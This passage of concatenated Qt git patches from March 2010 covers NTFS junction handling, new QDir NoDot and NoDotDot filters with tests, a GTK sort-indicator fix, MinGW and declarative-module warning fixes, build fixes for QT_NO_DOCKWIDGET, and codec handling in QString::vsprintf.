WM_RBUTTONDBLCLK: + case WM_MBUTTONDBLCLK: + case WM_XBUTTONDBLCLK: if (qt_win_ignoreNextMouseReleaseEvent) qt_win_ignoreNextMouseReleaseEvent = false; break; -- cgit v0.12 From b4996ab8e3a26d45ee55593da281e4b798c04dd2 Mon Sep 17 00:00:00 2001 From: Ritt Konstantin Date: Tue, 23 Mar 2010 15:03:24 +0100 Subject: QFSFileEngine: don't look through NTFS junctions MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Starting in 1216161584b730576c24fb128131838be1826b37, we started processing NTFS junctions as symbolic link. This reverts isSymlink() behavior back to former behavior and processes only symbolic junctions. The code path there worked just fine for directory symbolic links but lead to multiple issues for volume mount point junctions due to incompleteness. Task-number: QTBUG-7036, QTBUG-7384 Merge-request: 493 Reviewed-by: João Abecasis --- src/corelib/io/qfsfileengine_win.cpp | 10 ++-------- 1 file changed, 2 insertions(+), 8 deletions(-) diff --git a/src/corelib/io/qfsfileengine_win.cpp b/src/corelib/io/qfsfileengine_win.cpp index 9fc8dc3..eeca07e 100644 --- a/src/corelib/io/qfsfileengine_win.cpp +++ b/src/corelib/io/qfsfileengine_win.cpp @@ -1275,12 +1275,7 @@ static QString readSymLink(const QString &link) REPARSE_DATA_BUFFER *rdb = (REPARSE_DATA_BUFFER*)qMalloc(bufsize); DWORD retsize = 0; if (::DeviceIoControl(handle, FSCTL_GET_REPARSE_POINT, 0, 0, rdb, bufsize, &retsize, 0)) { - if (rdb->ReparseTag == IO_REPARSE_TAG_MOUNT_POINT) { - int length = rdb->MountPointReparseBuffer.SubstituteNameLength / sizeof(wchar_t); - int offset = rdb->MountPointReparseBuffer.SubstituteNameOffset / sizeof(wchar_t); - const wchar_t* PathBuffer = &rdb->MountPointReparseBuffer.PathBuffer[offset]; - result = QString::fromWCharArray(PathBuffer, length); - } else { + if (rdb->ReparseTag == IO_REPARSE_TAG_SYMLINK) { int length = rdb->SymbolicLinkReparseBuffer.SubstituteNameLength / sizeof(wchar_t); int offset = rdb->SymbolicLinkReparseBuffer.SubstituteNameOffset / sizeof(wchar_t); const wchar_t* PathBuffer = &rdb->SymbolicLinkReparseBuffer.PathBuffer[offset]; @@ -1543,8 +1538,7 @@ bool QFSFileEnginePrivate::isSymlink() const if (hFind != INVALID_HANDLE_VALUE) { ::FindClose(hFind); if ((findData.dwFileAttributes & FILE_ATTRIBUTE_REPARSE_POINT) - && (findData.dwReserved0 == IO_REPARSE_TAG_MOUNT_POINT - || findData.dwReserved0 == IO_REPARSE_TAG_SYMLINK)) { + && findData.dwReserved0 == IO_REPARSE_TAG_SYMLINK) { is_link = true; } } -- cgit v0.12 From c6ef7c0cbd2ad7ac486cd6bcabaac4d090df0c03 Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Tue, 23 Mar 2010 16:27:42 +0100 Subject: Split QDir::NoDotAndDotDot into QDir::NoDot and QDir::NoDotDot This creates QDir::NoDot and QDir::NoDotDot filters -- in many cases, one may want the .. entry (e.g. to navigate to the parent directory) but not the . entry (useless for navigation). Reviewed-by: Benjamin Poulain --- src/corelib/io/qdir.cpp | 6 +++- src/corelib/io/qdir.h | 4 ++- src/corelib/io/qdiriterator.cpp | 6 +++- tests/auto/qdiriterator/tst_qdiriterator.cpp | 48 ++++++++++++++++++++++++++++ 4 files changed, 61 insertions(+), 3 deletions(-) diff --git a/src/corelib/io/qdir.cpp b/src/corelib/io/qdir.cpp index 505889e..1b60936 100644 --- a/src/corelib/io/qdir.cpp +++ b/src/corelib/io/qdir.cpp @@ -1079,6 +1079,8 @@ QDir::Filters QDir::filter() const \value NoSymLinks Do not list symbolic links (ignored by operating systems that don't support symbolic links). \value NoDotAndDotDot Do not list the special entries "." and "..". + \value NoDot Do not list the special entry ".". + \value NoDotDot Do not list the special entry "..". \value AllEntries List directories, files, drives and symlinks (this does not list broken symlinks unless you specify System). \value Readable List files for which the application has read @@ -2367,7 +2369,9 @@ QDebug operator<<(QDebug debug, QDir::Filters filters) if (filters & QDir::Files) flags << QLatin1String("Files"); if (filters & QDir::Drives) flags << QLatin1String("Drives"); if (filters & QDir::NoSymLinks) flags << QLatin1String("NoSymLinks"); - if (filters & QDir::NoDotAndDotDot) flags << QLatin1String("NoDotAndDotDot"); + if (filters & QDir::NoDotAndDotDot) flags << QLatin1String("NoDotAndDotDot"); // ### Qt5: remove (because NoDotAndDotDot=NoDot|NoDotDot) + if (filters & QDir::NoDot) flags << QLatin1String("NoDot"); + if (filters & QDir::NoDotDot) flags << QLatin1String("NoDotDot"); if ((filters & QDir::AllEntries) == QDir::AllEntries) flags << QLatin1String("AllEntries"); if (filters & QDir::Readable) flags << QLatin1String("Readable"); if (filters & QDir::Writable) flags << QLatin1String("Writable"); diff --git a/src/corelib/io/qdir.h b/src/corelib/io/qdir.h index 186dd2f..28da271 100644 --- a/src/corelib/io/qdir.h +++ b/src/corelib/io/qdir.h @@ -88,7 +88,9 @@ public: AllDirs = 0x400, CaseSensitive = 0x800, - NoDotAndDotDot = 0x1000, + NoDotAndDotDot = 0x1000, // ### Qt5 NoDotAndDotDot = NoDot|NoDotDot + NoDot = 0x2000, + NoDotDot = 0x4000, NoFilter = -1 #ifdef QT3_SUPPORT diff --git a/src/corelib/io/qdiriterator.cpp b/src/corelib/io/qdiriterator.cpp index 860fb63..fd4b9c1 100644 --- a/src/corelib/io/qdiriterator.cpp +++ b/src/corelib/io/qdiriterator.cpp @@ -287,7 +287,11 @@ bool QDirIteratorPrivate::matchesFilters(const QString &fileName, const QFileInf const bool dotOrDotDot = fileName[0] == QLatin1Char('.') && ((fileNameSize == 1) ||(fileNameSize == 2 && fileName[1] == QLatin1Char('.'))); - if ((filters & QDir::NoDotAndDotDot) && dotOrDotDot) + if ((filters & QDir::NoDot) && dotOrDotDot && fileNameSize == 1) + return false; + if ((filters & QDir::NoDotDot) && dotOrDotDot && fileNameSize == 2) + return false; + if ((filters & QDir::NoDotAndDotDot) && dotOrDotDot) // ### Qt5 remove (NoDotAndDotDot == NoDot|NoDotDot) return false; // name filter diff --git a/tests/auto/qdiriterator/tst_qdiriterator.cpp b/tests/auto/qdiriterator/tst_qdiriterator.cpp index f6fce32..5dc17f3 100644 --- a/tests/auto/qdiriterator/tst_qdiriterator.cpp +++ b/tests/auto/qdiriterator/tst_qdiriterator.cpp @@ -198,6 +198,54 @@ void tst_QDirIterator::iterateRelativeDirectory_data() #endif "entrylist/writable").split(','); + QTest::newRow("NoDot") + << QString("entrylist") << QDirIterator::IteratorFlags(0) + << QDir::Filters(QDir::NoDot) << QStringList("*") + << QString( +#if !defined(Q_OS_WINCE) && !defined(Q_OS_SYMBIAN) + "entrylist/..," +#endif + "entrylist/file," +#ifndef Q_NO_SYMLINKS + "entrylist/linktofile.lnk," +#endif + "entrylist/directory," +#if !defined(Q_NO_SYMLINKS) && !defined(Q_NO_SYMLINKS_TO_DIRS) + "entrylist/linktodirectory.lnk," +#endif + "entrylist/writable").split(','); + + QTest::newRow("NoDotDot") + << QString("entrylist") << QDirIterator::IteratorFlags(0) + << QDir::Filters(QDir::NoDotDot) << QStringList("*") + << QString( +#if !defined(Q_OS_WINCE) && !defined(Q_OS_SYMBIAN) + "entrylist/.," +#endif + "entrylist/file," +#ifndef Q_NO_SYMLINKS + "entrylist/linktofile.lnk," +#endif + "entrylist/directory," +#if !defined(Q_NO_SYMLINKS) && !defined(Q_NO_SYMLINKS_TO_DIRS) + "entrylist/linktodirectory.lnk," +#endif + "entrylist/writable").split(','); + + QTest::newRow("NoDotAndDotDot") + << QString("entrylist") << QDirIterator::IteratorFlags(0) + << QDir::Filters(QDir::NoDotAndDotDot) << QStringList("*") + << QString( + "entrylist/file," +#ifndef Q_NO_SYMLINKS + "entrylist/linktofile.lnk," +#endif + "entrylist/directory," +#if !defined(Q_NO_SYMLINKS) && !defined(Q_NO_SYMLINKS_TO_DIRS) + "entrylist/linktodirectory.lnk," +#endif + "entrylist/writable").split(','); + QTest::newRow("QDir::Subdirectories | QDir::FollowSymlinks") << QString("entrylist") << QDirIterator::IteratorFlags(QDirIterator::Subdirectories | QDirIterator::FollowSymlinks) << QDir::Filters(QDir::NoFilter) << QStringList("*") -- cgit v0.12 From 74ce3dea8b3ea06d61cef4e729f6a95f670461fe Mon Sep 17 00:00:00 2001 From: Gabriel de Dietrich Date: Tue, 23 Mar 2010 16:41:42 +0100 Subject: Sort indicators displayed incorrectly in GTK style Reviewed-by: Thierry Task-number: QTBUG-9299 --- src/gui/styles/qgtkstyle.cpp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/gui/styles/qgtkstyle.cpp b/src/gui/styles/qgtkstyle.cpp index e2de43a..0d8a589 100644 --- a/src/gui/styles/qgtkstyle.cpp +++ b/src/gui/styles/qgtkstyle.cpp @@ -769,9 +769,9 @@ void QGtkStyle::drawPrimitive(PrimitiveElement element, GtkArrowType type = GTK_ARROW_UP; QRect r = header->rect; QImage arrow; - if (header->sortIndicator & QStyleOptionHeader::SortUp) + if (header->sortIndicator & QStyleOptionHeader::SortDown) type = GTK_ARROW_UP; - else if (header->sortIndicator & QStyleOptionHeader::SortDown) + else if (header->sortIndicator & QStyleOptionHeader::SortUp) type = GTK_ARROW_DOWN; gtkPainter.paintArrow(gtkTreeHeader, "button", option->rect.adjusted(1, 1, -1, -1), type, state, -- cgit v0.12 From 6b072a0c0a756a099d8dfd7827918be5adf7bf1f Mon Sep 17 00:00:00 2001 From: Thierry Bastian Date: Tue, 23 Mar 2010 15:09:01 +0100 Subject: compile fix for mingw (also removes some warnings) --- src/corelib/io/qwindowspipewriter.cpp | 3 +-- src/corelib/kernel/qcoreapplication_win.cpp | 10 +++++----- src/gui/dialogs/qwizard_win_p.h | 1 - src/gui/kernel/qapplication_win.cpp | 2 +- src/gui/painting/qdrawhelper.cpp | 20 ++++++++++---------- src/gui/text/qtextengine.cpp | 5 ++--- tools/configure/configureapp.cpp | 27 ++++++++++++++++----------- tools/configure/environment.cpp | 4 ++-- tools/shared/windows/registry.cpp | 2 +- 9 files changed, 38 insertions(+), 36 deletions(-) diff --git a/src/corelib/io/qwindowspipewriter.cpp b/src/corelib/io/qwindowspipewriter.cpp index 394323f..da992d0 100644 --- a/src/corelib/io/qwindowspipewriter.cpp +++ b/src/corelib/io/qwindowspipewriter.cpp @@ -100,8 +100,7 @@ qint64 QWindowsPipeWriter::write(const char *ptr, qint64 maxlen) void QWindowsPipeWriter::run() { - OVERLAPPED overl = {0, 0, 0, 0, NULL}; - overl.hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + OVERLAPPED overl = {0, 0, { {0, 0 } }, CreateEvent(NULL, TRUE, FALSE, NULL)}; forever { lock.lock(); while(data.isEmpty() && (!quitNow)) { diff --git a/src/corelib/kernel/qcoreapplication_win.cpp b/src/corelib/kernel/qcoreapplication_win.cpp index 566626d..c1925e7 100644 --- a/src/corelib/kernel/qcoreapplication_win.cpp +++ b/src/corelib/kernel/qcoreapplication_win.cpp @@ -1022,12 +1022,12 @@ QString decodeMSG(const MSG& msg) if (!winPos) break; QString hwndAfter = valueCheck(quint64(winPos->hwndInsertAfter), - FLAG_STRING((quintptr)HWND_BOTTOM, "HWND_BOTTOM"), - FLAG_STRING((quintptr)HWND_NOTOPMOST, "HWND_NOTOPMOST"), - FLAG_STRING((quintptr)HWND_TOP, "HWND_TOP"), - FLAG_STRING((quintptr)HWND_TOPMOST, "HWND_TOPMOST"), + FLAG_STRING((qptrdiff)HWND_BOTTOM, "HWND_BOTTOM"), + FLAG_STRING((qptrdiff)HWND_NOTOPMOST, "HWND_NOTOPMOST"), + FLAG_STRING((qptrdiff)HWND_TOP, "HWND_TOP"), + FLAG_STRING((qptrdiff)HWND_TOPMOST, "HWND_TOPMOST"), FLAG_STRING()); - if (hwndAfter.size() == 0) + if (hwndAfter.isEmpty()) hwndAfter = QString::number((quintptr)winPos->hwndInsertAfter, 16); QString flags = flagCheck(winPos->flags, FLGSTR(SWP_DRAWFRAME), diff --git a/src/gui/dialogs/qwizard_win_p.h b/src/gui/dialogs/qwizard_win_p.h index fe01587..5f3b6c2 100644 --- a/src/gui/dialogs/qwizard_win_p.h +++ b/src/gui/dialogs/qwizard_win_p.h @@ -82,7 +82,6 @@ class QWizard; class QVistaHelper : public QObject { - Q_OBJECT public: QVistaHelper(QWizard *wizard); ~QVistaHelper(); diff --git a/src/gui/kernel/qapplication_win.cpp b/src/gui/kernel/qapplication_win.cpp index ae9b34c..715b4c4 100644 --- a/src/gui/kernel/qapplication_win.cpp +++ b/src/gui/kernel/qapplication_win.cpp @@ -2278,7 +2278,7 @@ extern "C" LRESULT QT_WIN_CALLBACK QtWndProc(HWND hwnd, UINT message, WPARAM wPa case WM_GETOBJECT: { // Ignoring all requests while starting up - if (QApplication::startingUp() || QApplication::closingDown() || (DWORD)lParam != OBJID_CLIENT) { + if (QApplication::startingUp() || QApplication::closingDown() || (LONG)lParam != OBJID_CLIENT) { result = false; break; } diff --git a/src/gui/painting/qdrawhelper.cpp b/src/gui/painting/qdrawhelper.cpp index 71e2e3b..1f75ec7 100644 --- a/src/gui/painting/qdrawhelper.cpp +++ b/src/gui/painting/qdrawhelper.cpp @@ -3884,8 +3884,8 @@ inline void interpolate_pixel_unaligned_2(DST *dest, const SRC *src, template inline void interpolate_pixel_2(DST *dest, const SRC *src, quint16 alpha) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); const quint16 a = eff_alpha_2(alpha, dest); const quint16 ia = eff_ialpha_2(alpha, dest); @@ -3958,8 +3958,8 @@ template inline void interpolate_pixel_2(DST *dest, quint8 a, const SRC *src, quint8 b) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); Q_ASSERT(!SRC::hasAlpha()); @@ -4007,8 +4007,8 @@ inline void interpolate_pixel_2(qrgb444 *dest, quint8 a, template inline void interpolate_pixel_4(DST *dest, const SRC *src, quint32 alpha) { - Q_ASSERT((long(dest) & 0x3) == 0); - Q_ASSERT((long(src) & 0x3) == 0); + Q_ASSERT((quintptr(dest) & 0x3) == 0); + Q_ASSERT((quintptr(src) & 0x3) == 0); const quint32 a = eff_alpha_4(alpha, dest); const quint32 ia = eff_ialpha_4(alpha, dest); @@ -4411,7 +4411,7 @@ void QT_FASTCALL blendUntransformed_dest16(DST *dest, const SRC *src, { Q_ASSERT(sizeof(DST) == 2); Q_ASSERT(sizeof(SRC) == 2); - Q_ASSERT((long(dest) & 0x3) == (long(src) & 0x3)); + Q_ASSERT((quintptr(dest) & 0x3) == (quintptr(src) & 0x3)); Q_ASSERT(coverage > 0); const int align = quintptr(dest) & 0x3; @@ -4479,8 +4479,8 @@ void QT_FASTCALL blendUntransformed_dest16(DST *dest, const SRC *src, } while (length >= 2) { - Q_ASSERT((long(dest) & 3) == 0); - Q_ASSERT((long(src) & 3) == 0); + Q_ASSERT((quintptr(dest) & 3) == 0); + Q_ASSERT((quintptr(src) & 3) == 0); const quint16 a = alpha_2(src); if (a == 0xffff) { @@ -4511,7 +4511,7 @@ template void QT_FASTCALL blendUntransformed_dest24(DST *dest, const SRC *src, quint8 coverage, int length) { - Q_ASSERT((long(dest) & 0x3) == (long(src) & 0x3)); + Q_ASSERT((quintptr(dest) & 0x3) == (quintptr(src) & 0x3)); Q_ASSERT(sizeof(DST) == 3); Q_ASSERT(coverage > 0); diff --git a/src/gui/text/qtextengine.cpp b/src/gui/text/qtextengine.cpp index b826588..8dded4e 100644 --- a/src/gui/text/qtextengine.cpp +++ b/src/gui/text/qtextengine.cpp @@ -1124,14 +1124,13 @@ void QTextEngine::shapeTextWithHarfbuzz(int item) const bool kerningEnabled = this->font(si).d->kerning; HB_ShaperItem entire_shaper_item; - entire_shaper_item.kerning_applied = false; + qMemSet(&entire_shaper_item, 0, sizeof(entire_shaper_item)); entire_shaper_item.string = reinterpret_cast(layoutData->string.constData()); entire_shaper_item.stringLength = layoutData->string.length(); entire_shaper_item.item.script = (HB_Script)si.analysis.script; entire_shaper_item.item.pos = si.position; entire_shaper_item.item.length = length(item); entire_shaper_item.item.bidiLevel = si.analysis.bidiLevel; - entire_shaper_item.glyphIndicesPresent = false; HB_UChar16 upperCased[256]; // XXX what about making this 4096, so we don't have to extend it ever. if (si.analysis.flags == QScriptAnalysis::SmallCaps || si.analysis.flags == QScriptAnalysis::Uppercase @@ -2467,7 +2466,7 @@ void QTextEngine::splitItem(int item, int pos) const if (pos <= 0) return; - layoutData->items.insert(item + 1, QScriptItem(layoutData->items[item])); + layoutData->items.insert(item + 1, layoutData->items[item]); QScriptItem &oldItem = layoutData->items[item]; QScriptItem &newItem = layoutData->items[item+1]; newItem.position += pos; diff --git a/tools/configure/configureapp.cpp b/tools/configure/configureapp.cpp index 0aca545..0b14cba 100644 --- a/tools/configure/configureapp.cpp +++ b/tools/configure/configureapp.cpp @@ -1886,7 +1886,7 @@ bool Configure::findFile( const QString &fileName ) const QString file = fileName.toLower(); const QString pathEnvVar = QString::fromLocal8Bit(getenv("PATH")); const QString mingwPath = dictionary["QMAKESPEC"].endsWith("-g++") ? - findFileInPaths("mingw32-g++.exe", pathEnvVar) : QString(); + findFileInPaths("g++.exe", pathEnvVar) : QString(); QString paths; if (file.endsWith(".h")) { @@ -1978,7 +1978,7 @@ bool Configure::checkAvailability(const QString &part) { bool available = false; if (part == "STYLE_WINDOWSXP") - available = (findFile("uxtheme.h")); + available = findFile("uxtheme.h"); else if (part == "ZLIB") available = findFile("zlib.h"); @@ -3508,14 +3508,15 @@ void Configure::buildQmake() args += makefile; cout << "Creating qmake..." << endl; - int exitCode = 0; - if( exitCode = Environment::execute(args, QStringList(), QStringList()) ) { + int exitCode = Environment::execute(args, QStringList(), QStringList()); + if( exitCode ) { args.clear(); args += dictionary[ "MAKE" ]; args += "-f"; args += makefile; args += "clean"; - if( exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if(exitCode) { cout << "Cleaning qmake failed, return code " << exitCode << endl << endl; dictionary[ "DONE" ] = "error"; } else { @@ -3523,7 +3524,8 @@ void Configure::buildQmake() args += dictionary[ "MAKE" ]; args += "-f"; args += makefile; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "Building qmake failed, return code " << exitCode << endl << endl; dictionary[ "DONE" ] = "error"; } @@ -3567,8 +3569,8 @@ void Configure::buildHostTools() QDir().mkpath(toolBuildPath); QDir::setCurrent(toolSourcePath); - int exitCode = 0; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + int exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "qmake failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; @@ -3578,18 +3580,21 @@ void Configure::buildHostTools() args.clear(); args += dictionary["MAKE"]; QDir::setCurrent(toolBuildPath); - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { args.clear(); args += dictionary["MAKE"]; args += "clean"; - if(exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if(exitCode) { cout << "Cleaning " << hostToolsDirs.at(i) << " failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; } else { args.clear(); args += dictionary["MAKE"]; - if (exitCode = Environment::execute(args, QStringList(), QStringList())) { + exitCode = Environment::execute(args, QStringList(), QStringList()); + if (exitCode) { cout << "Building " << hostToolsDirs.at(i) << " failed, return code " << exitCode << endl << endl; dictionary["DONE"] = "error"; break; diff --git a/tools/configure/environment.cpp b/tools/configure/environment.cpp index e93f9a0..74bebb2 100644 --- a/tools/configure/environment.cpp +++ b/tools/configure/environment.cpp @@ -357,7 +357,7 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv QString args = qt_create_commandline(program, arguments); QByteArray envlist = qt_create_environment(fullEnv); - DWORD exitCode = -1; + DWORD exitCode = DWORD(-1); PROCESS_INFORMATION procInfo; memset(&procInfo, 0, sizeof(procInfo)); @@ -378,7 +378,7 @@ int Environment::execute(QStringList arguments, const QStringList &additionalEnv } - if (exitCode == -1) { + if (exitCode == DWORD(-1)) { switch(GetLastError()) { case E2BIG: cerr << "execute: Argument list exceeds 1024 bytes" << endl; diff --git a/tools/shared/windows/registry.cpp b/tools/shared/windows/registry.cpp index d342d78..67d9b56 100644 --- a/tools/shared/windows/registry.cpp +++ b/tools/shared/windows/registry.cpp @@ -148,7 +148,7 @@ QString readRegistryKey(HKEY parentHandle, const QString &rSubkey) } default: - qWarning("QSettings: unknown data %d type in windows registry", dataType); + qWarning("QSettings: unknown data %u type in windows registry", quint32(dataType)); break; } -- cgit v0.12 From 4e3d2f716e89879ce62376450218f7418eccd0aa Mon Sep 17 00:00:00 2001 From: Thierry Bastian Date: Tue, 23 Mar 2010 17:15:17 +0100 Subject: Fix warnings in the declarative module --- src/declarative/qml/qdeclarativecompiledbindings_p.h | 2 +- src/declarative/qml/qdeclarativecompiler.cpp | 2 +- src/declarative/qml/qdeclarativemetatype_p.h | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/src/declarative/qml/qdeclarativecompiledbindings_p.h b/src/declarative/qml/qdeclarativecompiledbindings_p.h index 84a5df9..8776c08 100644 --- a/src/declarative/qml/qdeclarativecompiledbindings_p.h +++ b/src/declarative/qml/qdeclarativecompiledbindings_p.h @@ -60,7 +60,7 @@ QT_BEGIN_HEADER QT_BEGIN_NAMESPACE -class QDeclarativeBindingCompilerPrivate; +struct QDeclarativeBindingCompilerPrivate; class QDeclarativeBindingCompiler { public: diff --git a/src/declarative/qml/qdeclarativecompiler.cpp b/src/declarative/qml/qdeclarativecompiler.cpp index 42d2950..2ea7bff 100644 --- a/src/declarative/qml/qdeclarativecompiler.cpp +++ b/src/declarative/qml/qdeclarativecompiler.cpp @@ -2094,7 +2094,7 @@ bool QDeclarativeCompiler::buildPropertyOnAssignment(QDeclarativeParser::Propert buildDynamicMeta(baseObj, ForceCreation); v->type = isPropertyValue ? Value::ValueSource : Value::ValueInterceptor; } else { - COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(v->object->typeName.constData()).arg(prop->name.constData())); + COMPILE_EXCEPTION(v, QCoreApplication::translate("QDeclarativeCompiler","\"%1\" cannot operate on \"%2\"").arg(QString::fromLatin1(v->object->typeName)).arg(QString::fromLatin1(prop->name.constData()))); } return true; diff --git a/src/declarative/qml/qdeclarativemetatype_p.h b/src/declarative/qml/qdeclarativemetatype_p.h index 1a36f10..d41323d 100644 --- a/src/declarative/qml/qdeclarativemetatype_p.h +++ b/src/declarative/qml/qdeclarativemetatype_p.h @@ -136,7 +136,7 @@ public: int index() const; private: friend class QDeclarativeTypePrivate; - friend class QDeclarativeMetaTypeData; + friend struct QDeclarativeMetaTypeData; friend int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterInterface &); friend int QDeclarativePrivate::registerType(const QDeclarativePrivate::RegisterType &); QDeclarativeType(int, const QDeclarativePrivate::RegisterInterface &); -- cgit v0.12 From 237b528f518f541d2f6c2ffcbaccca1a776a6f8b Mon Sep 17 00:00:00 2001 From: Benjamin Poulain Date: Tue, 23 Mar 2010 19:18:41 +0100 Subject: Fix the test of QDirIterator with NoDot and NoDotDot The test introduce by c6ef7c0cbd2ad7ac486cd6bcabaac4d090df0c03 would not work because no file would match the filter. --- tests/auto/qdiriterator/tst_qdiriterator.cpp | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/tests/auto/qdiriterator/tst_qdiriterator.cpp b/tests/auto/qdiriterator/tst_qdiriterator.cpp index 5dc17f3..c1db8f2 100644 --- a/tests/auto/qdiriterator/tst_qdiriterator.cpp +++ b/tests/auto/qdiriterator/tst_qdiriterator.cpp @@ -200,7 +200,7 @@ void tst_QDirIterator::iterateRelativeDirectory_data() QTest::newRow("NoDot") << QString("entrylist") << QDirIterator::IteratorFlags(0) - << QDir::Filters(QDir::NoDot) << QStringList("*") + << QDir::Filters(QDir::AllEntries | QDir::NoDot) << QStringList("*") << QString( #if !defined(Q_OS_WINCE) && !defined(Q_OS_SYMBIAN) "entrylist/..," @@ -217,7 +217,7 @@ void tst_QDirIterator::iterateRelativeDirectory_data() QTest::newRow("NoDotDot") << QString("entrylist") << QDirIterator::IteratorFlags(0) - << QDir::Filters(QDir::NoDotDot) << QStringList("*") + << QDir::Filters(QDir::AllEntries | QDir::NoDotDot) << QStringList("*") << QString( #if !defined(Q_OS_WINCE) && !defined(Q_OS_SYMBIAN) "entrylist/.," @@ -234,7 +234,7 @@ void tst_QDirIterator::iterateRelativeDirectory_data() QTest::newRow("NoDotAndDotDot") << QString("entrylist") << QDirIterator::IteratorFlags(0) - << QDir::Filters(QDir::NoDotAndDotDot) << QStringList("*") + << QDir::Filters(QDir::AllEntries | QDir::NoDotAndDotDot) << QStringList("*") << QString( "entrylist/file," #ifndef Q_NO_SYMLINKS -- cgit v0.12 From 6da690f031420957dec795c2899f337c296eff0b Mon Sep 17 00:00:00 2001 From: Bernhard Rosenkraenzer Date: Tue, 23 Mar 2010 20:13:19 +0100 Subject: Fix build with QT_NO_DOCKWIDGET Reviewed-by: Benjamin Poulain --- src/gui/widgets/qmainwindow.cpp | 2 ++ src/gui/widgets/qtoolbarlayout.cpp | 4 ++++ 2 files changed, 6 insertions(+) diff --git a/src/gui/widgets/qmainwindow.cpp b/src/gui/widgets/qmainwindow.cpp index d2eda80..44483ea 100644 --- a/src/gui/widgets/qmainwindow.cpp +++ b/src/gui/widgets/qmainwindow.cpp @@ -1374,7 +1374,9 @@ bool QMainWindow::event(QEvent *event) #endif // QT_NO_STATUSTIP case QEvent::StyleChange: +#ifndef QT_NO_DOCKWIDGET d->layout->layoutState.dockAreaLayout.styleChangedEvent(); +#endif if (!d->explicitIconSize) setIconSize(QSize()); break; diff --git a/src/gui/widgets/qtoolbarlayout.cpp b/src/gui/widgets/qtoolbarlayout.cpp index 4eb252a..f87510f 100644 --- a/src/gui/widgets/qtoolbarlayout.cpp +++ b/src/gui/widgets/qtoolbarlayout.cpp @@ -654,7 +654,11 @@ void QToolBarLayout::setExpanded(bool exp) if (!tb) return; if (QMainWindow *win = qobject_cast(tb->parentWidget())) { +#ifdef QT_NO_DOCKWIDGET + animating = false; +#else animating = !tb->isWindow() && win->isAnimated(); +#endif QMainWindowLayout *layout = qobject_cast(win->layout()); if (expanded) { tb->raise(); -- cgit v0.12 From 71832cfe6fa0005312f9a648f97d7ae9613a591f Mon Sep 17 00:00:00 2001 From: Florian Vichot Date: Tue, 23 Mar 2010 20:24:58 +0100 Subject: Use the default codec with QString::vsprintf() MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit QString::vsprintf was not decoding the format string according to QTextCodec::codecForCString, thus making qDebug("ééé") display improperly, even if using a utf8 terminal, utf8 source files and a codec for cstrings configured as utf8. Added a unit test. Merge-request: 530 Reviewed-by: Benjamin Poulain --- src/corelib/tools/qstring.cpp | 11 +++++++++++ tests/auto/qstring/tst_qstring.cpp | 5 +++++ 2 files changed, 16 insertions(+) diff --git a/src/corelib/tools/qstring.cpp b/src/corelib/tools/qstring.cpp index 464e77b..2f12b80 100644 --- a/src/corelib/tools/qstring.cpp +++ b/src/corelib/tools/qstring.cpp @@ -5104,8 +5104,19 @@ QString &QString::vsprintf(const char* cformat, va_list ap) const char *c = cformat; for (;;) { // Copy non-escape chars to result +#ifndef QT_NO_TEXTCODEC + int i = 0; + while (*(c + i) != '\0' && *(c + i) != '%') + ++i; + if (codecForCStrings) + result.append(codecForCStrings->toUnicode(c, i)); + else + result.append(fromLatin1(c, i)); + c += i; +#else while (*c != '\0' && *c != '%') result.append(QLatin1Char(*c++)); +#endif if (*c == '\0') break; diff --git a/tests/auto/qstring/tst_qstring.cpp b/tests/auto/qstring/tst_qstring.cpp index d79ebb9..1bea4b7 100644 --- a/tests/auto/qstring/tst_qstring.cpp +++ b/tests/auto/qstring/tst_qstring.cpp @@ -938,6 +938,11 @@ void tst_QString::sprintf() // Check utf8 conversion for %s QCOMPARE(a.sprintf("%s", "\303\266\303\244\303\274\303\226\303\204\303\234\303\270\303\246\303\245\303\230\303\206\303\205"), QString("\366\344\374\326\304\334\370\346\345\330\306\305")); + // Check codecForCStrings is used to read non-modifier sequences in the format string + QTextCodec::setCodecForCStrings(QTextCodec::codecForName("UTF-8")); + QCOMPARE(a.sprintf("\303\251\303\250\303\240 %s", "\303\251\303\250\303\240"), QString("\303\251\303\250\303\240 \303\251\303\250\303\240")); + QTextCodec::setCodecForCStrings(0); + int n1; a.sprintf("%s%n%s", "hello", &n1, "goodbye"); QCOMPARE(n1, 5); -- cgit v0.12 From 63d9c7d545489ba34c8c34d91ff06a682127acb2 Mon Sep 17 00:00:00 2001 From: Aaron McCarthy Date: Wed, 24 Mar 2010 09:38:41 +1000 Subject: Remove extraneous semi-colon. --- src/network/access/qnetworkaccessmanager.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/network/access/qnetworkaccessmanager.h b/src/network/access/qnetworkaccessmanager.h index 1d794a2..c57c9c6 100644 --- a/src/network/access/qnetworkaccessmanager.h +++ b/src/network/access/qnetworkaccessmanager.h @@ -148,7 